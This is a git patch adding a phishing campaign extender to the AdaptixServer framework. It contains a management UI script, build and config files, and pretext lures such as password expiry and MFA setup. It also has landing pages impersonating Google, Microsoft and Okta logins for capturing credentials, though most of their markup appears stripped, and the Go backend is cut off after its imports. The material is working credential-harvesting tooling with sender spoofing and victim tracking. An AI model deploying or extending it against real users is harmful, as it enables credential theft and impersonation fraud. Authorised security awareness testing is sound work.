From e31f123c7ea36bd87b20e291c21e4142d945b672 Mon Sep 17 00:00:00 2001
From: "esteban.plana"
Date: Sat, 23 May 2026 11:20:01 +0200
Subject: [PATCH] feat: add phishing service extender
Phishing campaign management service with:
- 6 email templates (password expiry, shared document, helpdesk, etc.)
- 4 landing pages (Google, Microsoft, Okta, default)
- Campaign tracking with click/submit analytics
- Credential capture and reporting
---
.../extenders/phishing_service/Makefile | 10 +
.../extenders/phishing_service/ax_config.axs | 756 ++++++++++++++++++
.../extenders/phishing_service/config.yaml | 5 +
.../extenders/phishing_service/go.mod | 5 +
.../extenders/phishing_service/go.sum | 2 +
.../landers/default_login.html | 116 +++
.../landers/google_login.html | 73 ++
.../landers/microsoft_login.html | 77 ++
.../phishing_service/landers/okta_login.html | 76 ++
.../extenders/phishing_service/pl_campaign.go | 643 +++++++++++++++
.../extenders/phishing_service/pl_data.go | 261 ++++++
.../extenders/phishing_service/pl_main.go | 151 ++++
.../extenders/phishing_service/pl_tracker.go | 253 ++++++
.../templates/default_email.html | 54 ++
.../templates/helpdesk_ticket.html | 62 ++
.../phishing_service/templates/mfa_setup.html | 65 ++
.../templates/password_expiry.html | 61 ++
.../templates/shared_document.html | 64 ++
.../templates/voicemail_notification.html | 72 ++
AdaptixServer/go.work | 1 +
AdaptixServer/profile.yaml | 1 +
21 files changed, 2808 insertions(+)
create mode 100644 AdaptixServer/extenders/phishing_service/Makefile
create mode 100644 AdaptixServer/extenders/phishing_service/ax_config.axs
create mode 100644 AdaptixServer/extenders/phishing_service/config.yaml
create mode 100644 AdaptixServer/extenders/phishing_service/go.mod
create mode 100644 AdaptixServer/extenders/phishing_service/go.sum
create mode 100644 AdaptixServer/extenders/phishing_service/landers/default_login.html
create mode 100644 AdaptixServer/extenders/phishing_service/landers/google_login.html
create mode 100644 AdaptixServer/extenders/phishing_service/landers/microsoft_login.html
create mode 100644 AdaptixServer/extenders/phishing_service/landers/okta_login.html
create mode 100644 AdaptixServer/extenders/phishing_service/pl_campaign.go
create mode 100644 AdaptixServer/extenders/phishing_service/pl_data.go
create mode 100644 AdaptixServer/extenders/phishing_service/pl_main.go
create mode 100644 AdaptixServer/extenders/phishing_service/pl_tracker.go
create mode 100644 AdaptixServer/extenders/phishing_service/templates/default_email.html
create mode 100644 AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html
create mode 100644 AdaptixServer/extenders/phishing_service/templates/mfa_setup.html
create mode 100644 AdaptixServer/extenders/phishing_service/templates/password_expiry.html
create mode 100644 AdaptixServer/extenders/phishing_service/templates/shared_document.html
create mode 100644 AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html
diff --git a/AdaptixServer/extenders/phishing_service/Makefile b/AdaptixServer/extenders/phishing_service/Makefile
new file mode 100644
index 000000000..5380772a0
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/Makefile
@@ -0,0 +1,10 @@
+all: clean
+ @ echo " * Building phishing service plugin"
+ @ mkdir dist
+ @ cp config.yaml ax_config.axs ./dist/
+ @ cp -r templates landers ./dist/
+ @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_phishing.so *.go
+ @ echo " done..."
+
+clean:
+ @ rm -rf dist
diff --git a/AdaptixServer/extenders/phishing_service/ax_config.axs b/AdaptixServer/extenders/phishing_service/ax_config.axs
new file mode 100644
index 000000000..e7b8f6895
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/ax_config.axs
@@ -0,0 +1,756 @@
+/// Phishing Service - UI
+
+let campaignsDock = null;
+let resultsDock = null;
+let campaignsTable = null;
+let resultsTable = null;
+let campaignFilter = null;
+let campaignsData = [];
+let allResults = {};
+let activePreview = null;
+
+// ============================================================================
+// InitService - Called when service is loaded
+// ============================================================================
+
+function InitService() {
+ createCampaignsDock();
+ createResultsDock();
+ loadInitialData();
+}
+
+// ============================================================================
+// Data Handler - Receives data from server
+// ============================================================================
+
+function data_handler(data) {
+ try {
+ let json = JSON.parse(data);
+ let msgType = json.type;
+
+ if (msgType === "campaigns") {
+ campaignsData = json.data || [];
+ refreshCampaignsTable();
+ }
+ else if (msgType === "targets") {
+ showTargetsDialog(json.data.campaign_id, json.data.targets || []);
+ }
+ else if (msgType === "results") {
+ let cid = json.data.campaign_id;
+ allResults[cid] = json.data.results || [];
+ refreshResultsTable();
+ }
+ else if (msgType === "event") {
+ handleEvent(json.event, json.data);
+ }
+ else if (msgType === "error") {
+ ax.show_message("Phishing Error", json.message);
+ }
+ else if (msgType === "templates") {
+ cachedTemplates = json.data || [];
+ }
+ else if (msgType === "landers") {
+ cachedLanders = json.data || [];
+ }
+ else if (msgType === "preview") {
+ if (activePreview) {
+ activePreview.setHtml(json.data.html);
+ }
+ }
+ else if (msgType === "export") {
+ let filename = "phishing_results_" + json.data.campaign_id + ".csv";
+ let path = ax.prompt_save_file(filename, "Export Results", "CSV Files (*.csv)");
+ if (path) {
+ ax.file_write_text(path, json.data.csv, false);
+ }
+ }
+ } catch (e) {
+ ax.log_error("Phishing: parse error: " + e);
+ }
+}
+
+// ============================================================================
+// Campaigns Dock
+// ============================================================================
+
+let cachedTemplates = [];
+let cachedLanders = [];
+
+function createCampaignsDock() {
+ campaignsDock = form.create_ext_dock("phishing_campaigns", "Phishing Campaigns", "");
+
+ let mainLayout = form.create_vlayout();
+
+ // Toolbar
+ let toolbar = form.create_hlayout();
+
+ let btnNew = form.create_button("New Campaign");
+ let btnStart = form.create_button("Start");
+ let btnStop = form.create_button("Stop");
+ let btnDelete = form.create_button("Delete");
+ let btnTargets = form.create_button("Targets");
+ let btnRefresh = form.create_button("Refresh");
+
+ toolbar.addWidget(btnNew);
+ toolbar.addWidget(btnStart);
+ toolbar.addWidget(btnStop);
+ toolbar.addWidget(btnTargets);
+ toolbar.addWidget(btnDelete);
+ toolbar.addWidget(form.create_hspacer());
+ toolbar.addWidget(btnRefresh);
+
+ let toolbarPanel = form.create_panel();
+ toolbarPanel.setLayout(toolbar);
+ mainLayout.addWidget(toolbarPanel);
+
+ // Table
+ campaignsTable = form.create_table(["Name", "Status", "Targets", "Sent", "Opened", "Clicked", "Submitted", "Errors", "Created By"]);
+ campaignsTable.setSortingEnabled(true);
+ campaignsTable.setReadOnly(true);
+ mainLayout.addWidget(campaignsTable);
+
+ campaignsDock.setLayout(mainLayout);
+ campaignsDock.setSize(900, 400);
+ campaignsDock.show();
+
+ // Signals
+ form.connect(btnNew, "clicked", function() {
+ ax.service_command("Phishing", "templates_list", {});
+ ax.service_command("Phishing", "landers_list", {});
+ // Small delay to let templates/landers load before showing dialog
+ event.on_timeout(function() { showNewCampaignDialog(); }, 1);
+ });
+
+ form.connect(btnStart, "clicked", function() {
+ let rows = campaignsTable.selectedRows();
+ if (rows.length === 0) return;
+ let cid = getCampaignIDByRow(rows[0]);
+ if (cid) {
+ if (ax.prompt_confirm("Start Campaign", "Send emails for this campaign?")) {
+ ax.service_command("Phishing", "campaign_start", {id: cid});
+ }
+ }
+ });
+
+ form.connect(btnStop, "clicked", function() {
+ let rows = campaignsTable.selectedRows();
+ if (rows.length === 0) return;
+ let cid = getCampaignIDByRow(rows[0]);
+ if (cid) {
+ ax.service_command("Phishing", "campaign_stop", {id: cid});
+ }
+ });
+
+ form.connect(btnDelete, "clicked", function() {
+ let rows = campaignsTable.selectedRows();
+ if (rows.length === 0) return;
+ let cid = getCampaignIDByRow(rows[0]);
+ if (cid) {
+ if (ax.prompt_confirm("Delete Campaign", "Delete this campaign and all its data?")) {
+ ax.service_command("Phishing", "campaign_delete", {id: cid});
+ }
+ }
+ });
+
+ form.connect(btnTargets, "clicked", function() {
+ let rows = campaignsTable.selectedRows();
+ if (rows.length === 0) return;
+ let cid = getCampaignIDByRow(rows[0]);
+ if (cid) {
+ ax.service_command("Phishing", "targets_list", {campaign_id: cid});
+ }
+ });
+
+ form.connect(btnRefresh, "clicked", function() {
+ loadInitialData();
+ });
+
+ form.connect(campaignsTable, "cellDoubleClicked", function(row, col) {
+ let cid = getCampaignIDByRow(row);
+ if (cid) {
+ ax.service_command("Phishing", "results_list", {campaign_id: cid});
+ }
+ });
+}
+
+function refreshCampaignsTable() {
+ if (!campaignsTable) return;
+
+ campaignsTable.setRowCount(0);
+ if (!campaignsData) return;
+
+ for (let i = 0; i < campaignsData.length; i++) {
+ let c = campaignsData[i];
+ let created = c.created_at ? ax.format_time("yyyy-MM-dd HH:mm", c.created_at) : "";
+ campaignsTable.addItem([
+ c.name || "",
+ c.status || "",
+ String(c.total_targets || 0),
+ String(c.sent || 0),
+ String(c.opened || 0),
+ String(c.clicked || 0),
+ String(c.submitted || 0),
+ String(c.errors || 0),
+ c.created_by || ""
+ ]);
+ }
+
+ // Update filter combo in results dock
+ updateCampaignFilter();
+}
+
+function getCampaignIDByRow(row) {
+ if (!campaignsData || row < 0 || row >= campaignsData.length) return null;
+ return campaignsData[row].id;
+}
+
+// ============================================================================
+// New Campaign Dialog
+// ============================================================================
+
+function showNewCampaignDialog() {
+ let dialog = form.create_dialog("New Phishing Campaign");
+ dialog.setSize(920, 700);
+
+ // ======================= Form fields =======================
+
+ let txtName = form.create_textline("");
+ txtName.setPlaceholder("Q1-2025 Password Audit - Finance Dept");
+ let txtSubject = form.create_textline("");
+ txtSubject.setPlaceholder("Action Required: Your password expires in 24 hours");
+ let txtSenderEmail = form.create_textline("");
+ txtSenderEmail.setPlaceholder("it-security@contoso.com");
+ let txtSenderName = form.create_textline("");
+ txtSenderName.setPlaceholder("IT Service Desk");
+
+ let txtSmtpHost = form.create_textline("");
+ txtSmtpHost.setPlaceholder("smtp.gmail.com");
+ let spinSmtpPort = form.create_spin();
+ spinSmtpPort.setRange(1, 65535);
+ spinSmtpPort.setValue(587);
+ let txtSmtpUser = form.create_textline("");
+ txtSmtpUser.setPlaceholder("relay@yourdomain.com");
+ let txtSmtpPass = form.create_textline("");
+ txtSmtpPass.setPlaceholder("App password or SMTP credential");
+ let chkSmtpTLS = form.create_check("Enable TLS");
+ chkSmtpTLS.setChecked(true);
+
+ let cmbTemplate = form.create_combo();
+ let cmbLander = form.create_combo();
+ if (cachedTemplates && cachedTemplates.length > 0) {
+ for (let i = 0; i < cachedTemplates.length; i++) cmbTemplate.addItem(cachedTemplates[i]);
+ }
+ if (cachedLanders && cachedLanders.length > 0) {
+ for (let i = 0; i < cachedLanders.length; i++) cmbLander.addItem(cachedLanders[i]);
+ }
+
+ let txtBaseURL = form.create_textline("");
+ txtBaseURL.setPlaceholder("https://portal-auth.contoso.com");
+ let txtRedirectURL = form.create_textline("https://login.microsoftonline.com");
+ let chkTrackOpens = form.create_check("Track email opens (1x1 tracking pixel)");
+ chkTrackOpens.setChecked(true);
+ let chkTrackClicks = form.create_check("Track link clicks (redirect through server)");
+ chkTrackClicks.setChecked(true);
+ let spinDelay = form.create_spin();
+ spinDelay.setRange(0, 300);
+ spinDelay.setValue(3);
+
+ // Preview browser
+ let previewBrowser = form.create_textbrowser();
+ activePreview = previewBrowser;
+
+ // ======================= Layout =======================
+
+ let pageLayout = form.create_vlayout();
+
+ // --- Campaign Identity ---
+ let identGrid = form.create_gridlayout();
+ identGrid.addWidget(form.create_label("Name *"), 0, 0);
+ identGrid.addWidget(txtName, 0, 1);
+ identGrid.addWidget(form.create_label("Subject *"), 1, 0);
+ identGrid.addWidget(txtSubject, 1, 1);
+
+ let identInner = form.create_panel();
+ identInner.setLayout(identGrid);
+ let grpIdent = form.create_groupbox("Campaign Identity", false);
+ grpIdent.setPanel(identInner);
+ pageLayout.addWidget(grpIdent);
+
+ // --- Sender ---
+ let senderGrid = form.create_gridlayout();
+ senderGrid.addWidget(form.create_label("Email *"), 0, 0);
+ senderGrid.addWidget(txtSenderEmail, 0, 1);
+ senderGrid.addWidget(form.create_label("Display Name"), 1, 0);
+ senderGrid.addWidget(txtSenderName, 1, 1);
+
+ let senderInner = form.create_panel();
+ senderInner.setLayout(senderGrid);
+ let grpSender = form.create_groupbox("Sender (From)", false);
+ grpSender.setPanel(senderInner);
+ pageLayout.addWidget(grpSender);
+
+ // --- SMTP Server ---
+ let smtpGrid = form.create_gridlayout();
+ smtpGrid.addWidget(form.create_label("Host *"), 0, 0);
+ smtpGrid.addWidget(txtSmtpHost, 0, 1);
+ smtpGrid.addWidget(form.create_label("Port"), 1, 0);
+ let portRow = form.create_hlayout();
+ portRow.addWidget(spinSmtpPort);
+ portRow.addWidget(form.create_label(" 587=STARTTLS 465=SMTPS 25=Plain"));
+ let portPanel = form.create_panel();
+ portPanel.setLayout(portRow);
+ smtpGrid.addWidget(portPanel, 1, 1);
+ smtpGrid.addWidget(form.create_label("Username"), 2, 0);
+ smtpGrid.addWidget(txtSmtpUser, 2, 1);
+ smtpGrid.addWidget(form.create_label("Password"), 3, 0);
+ smtpGrid.addWidget(txtSmtpPass, 3, 1);
+ smtpGrid.addWidget(chkSmtpTLS, 4, 1);
+
+ let smtpInner = form.create_panel();
+ smtpInner.setLayout(smtpGrid);
+ let grpSmtp = form.create_groupbox("SMTP Server", false);
+ grpSmtp.setPanel(smtpInner);
+ pageLayout.addWidget(grpSmtp);
+
+ // --- Content & Preview (splitter) ---
+ let contentGrid = form.create_gridlayout();
+ contentGrid.addWidget(form.create_label("Email Template"), 0, 0);
+ contentGrid.addWidget(cmbTemplate, 0, 1);
+ contentGrid.addWidget(form.create_label("Landing Page"), 1, 0);
+ contentGrid.addWidget(cmbLander, 1, 1);
+
+ // Template descriptions table
+ let tplDesc = form.create_table(["Template", "Scenario", "Best paired with"]);
+ tplDesc.setReadOnly(true);
+ tplDesc.setSortingEnabled(false);
+ tplDesc.setHeadersVisible(true);
+ tplDesc.addItem(["password_expiry", "Password expiration alert", "microsoft_login"]);
+ tplDesc.addItem(["shared_document", "SharePoint file share", "microsoft_login"]);
+ tplDesc.addItem(["voicemail_notification", "Teams voicemail received", "microsoft_login"]);
+ tplDesc.addItem(["helpdesk_ticket", "IT support ticket opened", "okta_login"]);
+ tplDesc.addItem(["mfa_setup", "MFA enrollment required", "okta_login"]);
+ tplDesc.addItem(["default_email", "Generic document review", "default_login"]);
+
+ // Left side: combos + reference table
+ let leftLayout = form.create_vlayout();
+ let contentGridPanel = form.create_panel();
+ contentGridPanel.setLayout(contentGrid);
+ leftLayout.addWidget(contentGridPanel);
+ leftLayout.addWidget(tplDesc);
+
+ let leftPanel = form.create_panel();
+ leftPanel.setLayout(leftLayout);
+
+ // Right side: HTML preview
+ let rightLayout = form.create_vlayout();
+ rightLayout.addWidget(form.create_label("Preview"));
+ rightLayout.addWidget(previewBrowser);
+
+ let rightPanel = form.create_panel();
+ rightPanel.setLayout(rightLayout);
+
+ // Splitter: left controls | right preview
+ let contentSplitter = form.create_hsplitter();
+ contentSplitter.addPage(leftPanel);
+ contentSplitter.addPage(rightPanel);
+ contentSplitter.setSizes([320, 540]);
+
+ let contentSplitLayout = form.create_vlayout();
+ contentSplitLayout.addWidget(contentSplitter);
+
+ let contentInner = form.create_panel();
+ contentInner.setLayout(contentSplitLayout);
+ let grpContent = form.create_groupbox("Content & Preview", false);
+ grpContent.setPanel(contentInner);
+ pageLayout.addWidget(grpContent);
+
+ // Connect combos to preview
+ form.connect(cmbTemplate, "currentTextChanged", function(text) {
+ if (text) ax.service_command("Phishing", "template_preview", {type: "template", name: text});
+ });
+ form.connect(cmbLander, "currentTextChanged", function(text) {
+ if (text) ax.service_command("Phishing", "template_preview", {type: "lander", name: text});
+ });
+
+ // Load initial preview for the first selected template
+ if (cmbTemplate.currentText()) {
+ ax.service_command("Phishing", "template_preview", {type: "template", name: cmbTemplate.currentText()});
+ }
+
+ // --- Tracking & Delivery ---
+ let trackGrid = form.create_gridlayout();
+ trackGrid.addWidget(form.create_label("Base URL *"), 0, 0);
+ trackGrid.addWidget(txtBaseURL, 0, 1);
+ trackGrid.addWidget(form.create_label("Redirect URL"), 1, 0);
+ trackGrid.addWidget(txtRedirectURL, 1, 1);
+ trackGrid.addWidget(chkTrackOpens, 2, 1);
+ trackGrid.addWidget(chkTrackClicks, 3, 1);
+ trackGrid.addWidget(form.create_label("Send Delay (s)"), 4, 0);
+ let delayRow = form.create_hlayout();
+ delayRow.addWidget(spinDelay);
+ delayRow.addWidget(form.create_label(" Seconds between each email sent"));
+ let delayPanel = form.create_panel();
+ delayPanel.setLayout(delayRow);
+ trackGrid.addWidget(delayPanel, 4, 1);
+
+ let trackInner = form.create_panel();
+ trackInner.setLayout(trackGrid);
+ let grpTrack = form.create_groupbox("Tracking & Delivery", false);
+ grpTrack.setPanel(trackInner);
+ pageLayout.addWidget(grpTrack);
+
+ // --- Spacer at bottom ---
+ pageLayout.addWidget(form.create_vspacer());
+
+ // --- Scrollable container ---
+ let scrollContent = form.create_panel();
+ scrollContent.setLayout(pageLayout);
+ let scrollArea = form.create_scrollarea();
+ scrollArea.setPanel(scrollContent);
+ scrollArea.setWidgetResizable(true);
+
+ let mainLayout = form.create_vlayout();
+ mainLayout.addWidget(scrollArea);
+ dialog.setLayout(mainLayout);
+
+ let accepted = dialog.exec();
+ activePreview = null;
+
+ if (accepted === true) {
+ let campaign = {
+ name: txtName.text(),
+ subject: txtSubject.text(),
+ sender_email: txtSenderEmail.text(),
+ sender_name: txtSenderName.text(),
+ smtp_host: txtSmtpHost.text(),
+ smtp_port: spinSmtpPort.value(),
+ smtp_user: txtSmtpUser.text(),
+ smtp_pass: txtSmtpPass.text(),
+ smtp_tls: chkSmtpTLS.isChecked(),
+ template: cmbTemplate.currentText(),
+ lander: cmbLander.currentText(),
+ base_url: txtBaseURL.text(),
+ redirect_url: txtRedirectURL.text(),
+ track_opens: chkTrackOpens.isChecked(),
+ track_clicks: chkTrackClicks.isChecked(),
+ send_delay: spinDelay.value()
+ };
+
+ if (!campaign.name || !campaign.smtp_host || !campaign.sender_email || !campaign.base_url) {
+ ax.show_message("Error", "Required fields: Campaign Name, SMTP Host, Sender Email, Base URL");
+ return;
+ }
+
+ ax.service_command("Phishing", "campaign_create", campaign);
+ }
+}
+
+// ============================================================================
+// Targets Dialog
+// ============================================================================
+
+function showTargetsDialog(campaignID, targets) {
+ let dialog = form.create_ext_dialog("Targets - Campaign");
+ dialog.setSize(700, 500);
+
+ let mainLayout = form.create_vlayout();
+
+ // Toolbar
+ let toolbar = form.create_hlayout();
+ let btnImport = form.create_button("Import CSV");
+ let btnDelete = form.create_button("Delete Selected");
+ toolbar.addWidget(btnImport);
+ toolbar.addWidget(btnDelete);
+ toolbar.addWidget(form.create_hspacer());
+
+ let tgtToolbarPanel = form.create_panel();
+ tgtToolbarPanel.setLayout(toolbar);
+ mainLayout.addWidget(tgtToolbarPanel);
+
+ // Table
+ let tgtTable = form.create_table(["Email", "First Name", "Last Name", "Position", "Company"]);
+ tgtTable.setSortingEnabled(true);
+ tgtTable.setReadOnly(true);
+
+ if (targets) {
+ for (let i = 0; i < targets.length; i++) {
+ let t = targets[i];
+ tgtTable.addItem([t.email, t.first_name, t.last_name, t.position, t.company]);
+ }
+ }
+ mainLayout.addWidget(tgtTable);
+
+ dialog.setLayout(mainLayout);
+
+ form.connect(btnImport, "clicked", function() {
+ let csvDialog = form.create_dialog("Import Targets (CSV)");
+ csvDialog.setSize(560, 450);
+
+ let csvLayout = form.create_vlayout();
+ csvLayout.addWidget(form.create_label("Paste CSV data or load a file. Columns: email, first_name, last_name, position, company"));
+ csvLayout.addWidget(form.create_label("The first row must be column headers. Only 'email' is required."));
+ let csvText = form.create_textmulti("email,first_name,last_name,position,company\njohn.doe@contoso.com,John,Doe,CFO,Contoso Ltd\njane.smith@contoso.com,Jane,Smith,IT Manager,Contoso Ltd\n");
+ csvLayout.addWidget(csvText);
+
+ let orLabel = form.create_label("Or load from file:");
+ csvLayout.addWidget(orLabel);
+
+ let btnFile = form.create_button("Load CSV File");
+ csvLayout.addWidget(btnFile);
+
+ form.connect(btnFile, "clicked", function() {
+ let path = ax.prompt_open_file("Select CSV file", "CSV Files (*.csv);;All Files (*)");
+ if (path) {
+ let content = ax.file_read(path);
+ if (content) {
+ csvText.setText(content);
+ }
+ }
+ });
+
+ csvDialog.setLayout(csvLayout);
+ if (csvDialog.exec() === true) {
+ let csv = csvText.text();
+ if (csv && csv.trim().length > 0) {
+ ax.service_command("Phishing", "targets_import", {
+ campaign_id: campaignID,
+ csv: csv
+ });
+ }
+ }
+ });
+
+ form.connect(btnDelete, "clicked", function() {
+ let rows = tgtTable.selectedRows();
+ if (rows.length === 0) return;
+
+ let ids = [];
+ for (let i = 0; i < rows.length; i++) {
+ if (targets && rows[i] < targets.length) {
+ ids.push(targets[rows[i]].id);
+ }
+ }
+
+ if (ids.length > 0 && ax.prompt_confirm("Delete Targets", "Delete " + ids.length + " selected target(s)?")) {
+ ax.service_command("Phishing", "targets_delete", {
+ campaign_id: campaignID,
+ ids: ids
+ });
+ }
+ });
+
+ dialog.show();
+}
+
+// ============================================================================
+// Results Dock
+// ============================================================================
+
+function createResultsDock() {
+ resultsDock = form.create_ext_dock("phishing_results", "Phishing Results", "");
+
+ let mainLayout = form.create_vlayout();
+
+ // Filter bar
+ let filterLayout = form.create_hlayout();
+ filterLayout.addWidget(form.create_label("Campaign:"));
+ campaignFilter = form.create_combo();
+ campaignFilter.addItem("-- All --");
+ filterLayout.addWidget(campaignFilter);
+
+ let btnExport = form.create_button("Export CSV");
+ let btnRefresh = form.create_button("Refresh");
+ filterLayout.addWidget(form.create_hspacer());
+ filterLayout.addWidget(btnExport);
+ filterLayout.addWidget(btnRefresh);
+
+ let filterPanel = form.create_panel();
+ filterPanel.setLayout(filterLayout);
+ mainLayout.addWidget(filterPanel);
+
+ // Table
+ resultsTable = form.create_table(["Campaign", "Email", "Name", "Status", "Sent", "Opened", "Clicked", "Submitted", "IP", "User Agent"]);
+ resultsTable.setSortingEnabled(true);
+ resultsTable.setReadOnly(true);
+ mainLayout.addWidget(resultsTable);
+
+ resultsDock.setLayout(mainLayout);
+ resultsDock.setSize(1000, 400);
+ resultsDock.show();
+
+ // Signals
+ form.connect(campaignFilter, "currentTextChanged", function(text) {
+ refreshResultsTable();
+ });
+
+ form.connect(btnExport, "clicked", function() {
+ let cid = getSelectedCampaignID();
+ if (cid) {
+ ax.service_command("Phishing", "results_export", {campaign_id: cid});
+ } else {
+ ax.show_message("Export", "Please select a specific campaign to export");
+ }
+ });
+
+ form.connect(btnRefresh, "clicked", function() {
+ loadAllResults();
+ });
+
+ form.connect(resultsTable, "cellDoubleClicked", function(row, col) {
+ showResultDetail(row);
+ });
+}
+
+function updateCampaignFilter() {
+ if (!campaignFilter) return;
+
+ let current = campaignFilter.currentText();
+ campaignFilter.clear();
+ campaignFilter.addItem("-- All --");
+
+ if (campaignsData) {
+ for (let i = 0; i < campaignsData.length; i++) {
+ campaignFilter.addItem(campaignsData[i].name);
+ }
+ }
+
+ // Restore selection
+ for (let i = 0; i < campaignFilter.count; i++) {
+ if (campaignFilter.itemText && campaignFilter.itemText(i) === current) {
+ campaignFilter.setCurrentIndex(i);
+ return;
+ }
+ }
+}
+
+function getSelectedCampaignID() {
+ if (!campaignFilter) return null;
+ let text = campaignFilter.currentText();
+ if (text === "-- All --") return null;
+
+ if (campaignsData) {
+ for (let i = 0; i < campaignsData.length; i++) {
+ if (campaignsData[i].name === text) {
+ return campaignsData[i].id;
+ }
+ }
+ }
+ return null;
+}
+
+function refreshResultsTable() {
+ if (!resultsTable) return;
+ resultsTable.setRowCount(0);
+
+ let filterCampaign = getSelectedCampaignID();
+
+ for (let cid in allResults) {
+ if (filterCampaign && cid !== filterCampaign) continue;
+
+ let campaignName = getCampaignNameByID(cid);
+ let results = allResults[cid];
+ if (!results) continue;
+
+ for (let i = 0; i < results.length; i++) {
+ let r = results[i];
+ let name = (r.first_name || "") + " " + (r.last_name || "");
+ let sentAt = r.sent_at ? ax.format_time("HH:mm:ss", r.sent_at) : "";
+ let openedAt = r.opened_at ? ax.format_time("HH:mm:ss", r.opened_at) : "";
+ let clickedAt = r.clicked_at ? ax.format_time("HH:mm:ss", r.clicked_at) : "";
+ let submitAt = r.submit_at ? ax.format_time("HH:mm:ss", r.submit_at) : "";
+
+ resultsTable.addItem([
+ campaignName,
+ r.email || "",
+ name.trim(),
+ r.status || "",
+ sentAt,
+ openedAt,
+ clickedAt,
+ submitAt,
+ r.remote_ip || "",
+ r.user_agent || ""
+ ]);
+ }
+ }
+}
+
+function getCampaignNameByID(id) {
+ if (campaignsData) {
+ for (let i = 0; i < campaignsData.length; i++) {
+ if (campaignsData[i].id === id) return campaignsData[i].name;
+ }
+ }
+ return id;
+}
+
+function showResultDetail(row) {
+ // Collect result data from the table row for display
+ let campaign = resultsTable.text(row, 0);
+ let email = resultsTable.text(row, 1);
+ let name = resultsTable.text(row, 2);
+ let status = resultsTable.text(row, 3);
+ let ip = resultsTable.text(row, 8);
+ let ua = resultsTable.text(row, 9);
+
+ let detail = "Campaign: " + campaign + "\n" +
+ "Email: " + email + "\n" +
+ "Name: " + name + "\n" +
+ "Status: " + status + "\n" +
+ "IP: " + ip + "\n" +
+ "User Agent: " + ua;
+
+ ax.show_message("Result Detail", detail);
+}
+
+// ============================================================================
+// Event Handling
+// ============================================================================
+
+function handleEvent(eventType, data) {
+ if (!data || !data.campaign_id) return;
+
+ let cid = data.campaign_id;
+ let result = data.result;
+
+ // Update local results cache
+ if (result && allResults[cid]) {
+ let found = false;
+ for (let i = 0; i < allResults[cid].length; i++) {
+ if (allResults[cid][i].id === result.id) {
+ allResults[cid][i] = result;
+ found = true;
+ break;
+ }
+ }
+ if (!found) {
+ allResults[cid].push(result);
+ }
+ } else if (result && !allResults[cid]) {
+ allResults[cid] = [result];
+ }
+
+ refreshResultsTable();
+
+ // Also refresh campaign stats
+ ax.service_command("Phishing", "campaign_list", {});
+}
+
+// ============================================================================
+// Data Loading
+// ============================================================================
+
+function loadInitialData() {
+ ax.service_command("Phishing", "campaign_list", {});
+ ax.service_command("Phishing", "templates_list", {});
+ ax.service_command("Phishing", "landers_list", {});
+ loadAllResults();
+}
+
+function loadAllResults() {
+ if (campaignsData) {
+ for (let i = 0; i < campaignsData.length; i++) {
+ ax.service_command("Phishing", "results_list", {campaign_id: campaignsData[i].id});
+ }
+ }
+}
diff --git a/AdaptixServer/extenders/phishing_service/config.yaml b/AdaptixServer/extenders/phishing_service/config.yaml
new file mode 100644
index 000000000..14a844cc4
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/config.yaml
@@ -0,0 +1,5 @@
+extender_type: "service"
+extender_file: "service_phishing.so"
+ax_file: "ax_config.axs"
+service_name: "Phishing"
+service_config: ""
diff --git a/AdaptixServer/extenders/phishing_service/go.mod b/AdaptixServer/extenders/phishing_service/go.mod
new file mode 100644
index 000000000..8c43b8f3d
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/go.mod
@@ -0,0 +1,5 @@
+module adaptix_service_phishing
+
+go 1.25.4
+
+require github.com/Adaptix-Framework/axc2 v1.2.0
diff --git a/AdaptixServer/extenders/phishing_service/go.sum b/AdaptixServer/extenders/phishing_service/go.sum
new file mode 100644
index 000000000..8889bb84d
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/go.sum
@@ -0,0 +1,2 @@
+github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
diff --git a/AdaptixServer/extenders/phishing_service/landers/default_login.html b/AdaptixServer/extenders/phishing_service/landers/default_login.html
new file mode 100644
index 000000000..4bb1379c3
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/landers/default_login.html
@@ -0,0 +1,116 @@
+
+
+
+
+
+Sign In
+
+
+
+
+
Sign in
+
+
{{.Email}}
+
+
+
+
+
+
+
diff --git a/AdaptixServer/extenders/phishing_service/landers/google_login.html b/AdaptixServer/extenders/phishing_service/landers/google_login.html
new file mode 100644
index 000000000..b4e911465
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/landers/google_login.html
@@ -0,0 +1,73 @@
+
+
+
+
+
+Sign in - Google Accounts
+
+
+
+
+
+Google
+
+
+
Welcome
+
+
+
+
+
+
+
+
diff --git a/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html
new file mode 100644
index 000000000..fa2a0eb87
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html
@@ -0,0 +1,77 @@
+
+
+
+
+
+Sign in to your account
+
+
+
+
+
+
+
+
+
Sign in
+
+
+{{.FirstName}}
+{{.Email}}
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/AdaptixServer/extenders/phishing_service/landers/okta_login.html b/AdaptixServer/extenders/phishing_service/landers/okta_login.html
new file mode 100644
index 000000000..ef47095cf
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/landers/okta_login.html
@@ -0,0 +1,76 @@
+
+
+
+
+
+Sign In
+
+
+
+
+
+
{{.Company}}
+
Powered by Okta
+
+
+
+
+
+
+
+
+
diff --git a/AdaptixServer/extenders/phishing_service/pl_campaign.go b/AdaptixServer/extenders/phishing_service/pl_campaign.go
new file mode 100644
index 000000000..793147acd
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/pl_campaign.go
@@ -0,0 +1,643 @@
+package main
+
+import (
+ "bytes"
+ "crypto/tls"
+ "encoding/json"
+ "fmt"
+ "math/rand"
+ "net/smtp"
+ "os"
+ "path/filepath"
+ "strings"
+ "time"
+)
+
+// ============================================================================
+// Call Handlers
+// ============================================================================
+
